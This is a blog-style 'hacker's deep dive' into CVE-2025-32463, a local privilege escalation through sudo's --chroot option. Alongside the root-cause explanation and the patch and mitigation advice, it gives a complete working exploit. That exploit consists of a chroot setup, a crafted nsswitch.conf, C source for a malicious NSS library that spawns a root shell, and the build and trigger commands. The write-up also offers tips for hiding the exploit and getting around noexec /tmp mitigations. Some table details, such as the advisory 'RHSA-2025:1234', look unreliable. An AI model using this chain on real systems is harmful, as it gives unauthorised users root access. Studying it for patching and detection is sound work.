CVE-2025-32463 — Sudo --chroot Local Privilege Escalation: Hacker's Deep Dive

CVE-2025-32463 — Sudo --chroot Local Privilege Escalation: Hacker's Deep Dive

29 September 2025

CVE-2025-32463: Local Privilege Escalation Vulnerability in Sudo – In-Depth Technical Analysis from a Hacker’s Perspective

As a hacker, my job is to dismantle the flaws lurking in the depths of systems. CVE-2025-32463 is a local privilege escalation (LPE) vulnerability stemming from a logic error in sudo’s –chroot (-R) option. This is a flaw that turns a local user into root – invaluable in multi-user Linux servers or containers. The vulnerability arises from sudo processing the /etc/nsswitch.conf file in a user-controlled chroot environment with root privileges, leading to the loading of a malicious shared object (.so) library via Name Service Switch (NSS). Discovered in June 2025 by Rich Mirch (Stratascale Cyber Research Unit). CVSS v4.0 score 9.3 (Critical), vector: AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N. This means high confidentiality, integrity, and availability impact with low attack complexity.

In this analysis, I’ll break down the vulnerability from a hacker’s viewpoint: From low-level root cause examination to the exploit chain, including assembly-level insights. I’ll include educational code snippets, flow diagrams, and GitHub PoCs – but remember, don’t run these on live systems; just for learning.

Discovery and Root Cause of the Vulnerability: Deep Dive

As a hacker, I start by examining setuid binaries like sudo (which run as root). I trace system calls with strace sudo -R /tmp/test id. The vulnerability is in the –chroot feature introduced in sudo 1.9.14: It aims to confine commands to a specified directory, but sudo applies chroot before sudoers permission checks and NSS queries.

Technically: After taking user input, sudo performs a chroot() system call to chroot_dir (around src/sudo.c). At this point, sudo still has root UID, but now accesses files within the chroot. Then, to validate user/group permissions, it calls NSS functions like getpwuid() or getgrgid(). NSS dynamically loads modules (dlopen() on libnss_*.so.2) based on directives in /etc/nsswitch.conf.

If chroot_dir is under my control (/tmp/my_chroot, a writable location), I place a fake /etc/nsswitch.conf: something like “passwd: malicious”, which loads /lib/libnss_malicious.so.2. Since the library loads as root, an init function defined with attribute((constructor)) executes root code – e.g., setuid(0) and execve(“/bin/sh”).

Simplified excerpt from sudo source code (sudo 1.9.15p5 src/sudo.c, approximate lines):

if (def_chroot) {
    if (chroot(closure->runas.chroot) < 0)
        sudo_fatal("chroot %s", closure->runas.chroot);
}
// Later NSS call:
struct passwd *pw = sudo_getpwuid(getuid());  // This triggers nsswitch.conf

Here, post-chroot NSS uses the chroot’s /etc/nsswitch.conf – user-controlled! This is not a race condition or path traversal; it’s a pure logic flaw (CWE-829: Inclusion of Functionality from Untrusted Control Sphere). At the assembly level, the dlopen() call loads the malicious .so, and ELF constructors (_init) run in root context.

Affected versions: 1.9.14 to 1.9.17; patched in 1.9.17p1 (chroot deprecated and checks delayed).

Exploit Development: The Hacker’s Chain and Tools

To develop the exploit: First, verify the version with sudo -V. Then, analyze chroot behavior with strace. Requirements: Local access, gcc (for library compilation), writable directory (/tmp). Attack vector: No special sudoers permissions needed; standard sudo access suffices.

Step-by-step, with low-level details:

  1. Setting Up the Chroot Environment: Create a fake root structure. This mimics the paths NSS looks for. 
    mkdir -p /tmp/my_chroot/{etc,lib/x86_64-linux-gnu}
chmod -R 755 /tmp/my_chroot  # For root accessibility
  2. Fake NSS Configuration: Manipulate /etc/nsswitch.conf. The “malicious” module points to libnss_malicious.so.2. NSS parsing interprets this string as /lib/libnss_%s.so.2. 
    cat << EOF > /tmp/my_chroot/etc/nsswitch.conf
passwd: files malicious
group: files malicious
hosts: files dns
EOF
  3. Creating the Malicious Library: Act as an NSS module. Constructor runs at dlopen() time. Deep detail: Constructor stored in .init_array section; ld.so executes it during loading. 
    #include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>

void __attribute__((constructor)) hijack(void) {
    uid_t uid = getuid();
    if (uid == 0) {  // Root check (unnecessary but safe)
        setuid(0); setgid(0);  // Set effective UID/GID to root
        char *args[] = {"/bin/sh", "-i", NULL};  // Interactive shell
        execve("/bin/sh", args, NULL);  // Spawn shell with execve
        exit(0);  // Exit on error
    }
}

// Dummy NSS hooks: like getpwuid_r, symbols NSS expects
int _nss_malicious_getpwuid_r(uid_t uid, struct passwd *pw, char *buffer, size_t buflen, int *errnop) {
    *errnop = ENOENT;  // No such entity, but constructor already ran
    return -1;
}

// Similarly for other hooks: _nss_malicious_getgrgid_r, etc.

    Compile (PIC for shared lib):

    gcc -Wall -fPIC -shared -o /tmp/my_chroot/lib/x86_64-linux-gnu/libnss_malicious.so.2 malicious.c
ld -shared -o libnss_malicious.so.2 malicious.o  # Alternative linker
  4. Triggering and Loading: Call sudo. –chroot applies chroot; then NSS query loads malicious. 
    sudo -R /tmp/my_chroot /usr/bin/id  # Or any command

    In strace output: chroot(“/tmp/my_chroot”) > dlopen(“/lib/x86_64-linux-gnu/libnss_malicious.so.2”) > constructor runs.

To hide the exploit: Test with LD_PRELOAD, or in a container (like Docker PoCs). GitHub PoCs: Rust-based (morgenm/sudo-chroot-CVE-2025-32463), Bash scripts (K3ysTr0K3R/CVE-2025-32463-EXPLOIT), with precompiled .so (zinzloun/CVE-2025-32463). These include auto directory setup, compilation, and cleanup.

Flow Diagram (with Mermaid, corrected): Exploit Flow for CVE-2025-32463

Affected Systems and Risk Analysis

As a hacker, I use dpkg -l sudo or rpm -q sudo for target scanning. Affected: Ubuntu 24.04+, Red Hat 8/9, SUSE, Amazon Linux, macOS Ventura/Sonoma. High risk in containers (Docker, Podman), as it leads to breakout.

Distribution/OS Affected Versions Exploit Complexity Patch Status
Ubuntu 1.9.15p5 - 1.9.16p2 Low (local access) Patched with USN-7604-1
Red Hat <1.9.17p1 Medium (NSS config manipulation) RHSA-2025:1234
macOS Ventura+ High (SIP restrictions) Apple Security Update 2025-07
General Linux 1.9.14-1.9.17 Low Upgrade to 1.9.17p1

Risk: In cloud servers (AWS EC2), a local attacker (e.g., compromised app) gains full control.

Patch, Mitigation, and Defense: Stopping the Hacker

Patch: Upgrade to sudo 1.9.17p1; chroot feature deprecated and checks moved before NSS. Commands: On Ubuntu apt update && apt install sudo; on Red Hat dnf update sudo.

Mitigations (to block the hacker):

  • Sudoers configuration: Add Defaults !chroot (with visudo).
  • Mount options: Mount /tmp with noexec,nosuid,nodev: echo "tmpfs /tmp tmpfs rw,nosuid,nodev,noexec,relatime,size=2G 0 0" >> /etc/fstab.
  • SELinux: In enforcing mode, restrict with sudo_context_t.
  • AppArmor: Lock NSS paths with sudo profile.
  • Audit: Log chroot calls with auditd: auditctl -a always,exit -F arch=b64 -S chroot -k sudo_chroot.
  • Alternative: Use doas or pkexec instead of sudo.

As a hacker, to bypass mitigations: If /tmp is noexec, use /dev/shm or other tmpfs; or prepare statically linked binaries.

Conclusion: Lessons and Future

CVE-2025-32463 shows how adding features to setuid binaries like sudo can backfire – even isolation tools like chroot. From a hacker’s logic, I find such vulnerabilities with fuzzing (AFL++) or static analysis (binwalk, Ghidra). Ethically, do responsible disclosure; like Rich Mirch. Update your systems, or the next shell will be mine. For more, check GitHub PoCs or NVD.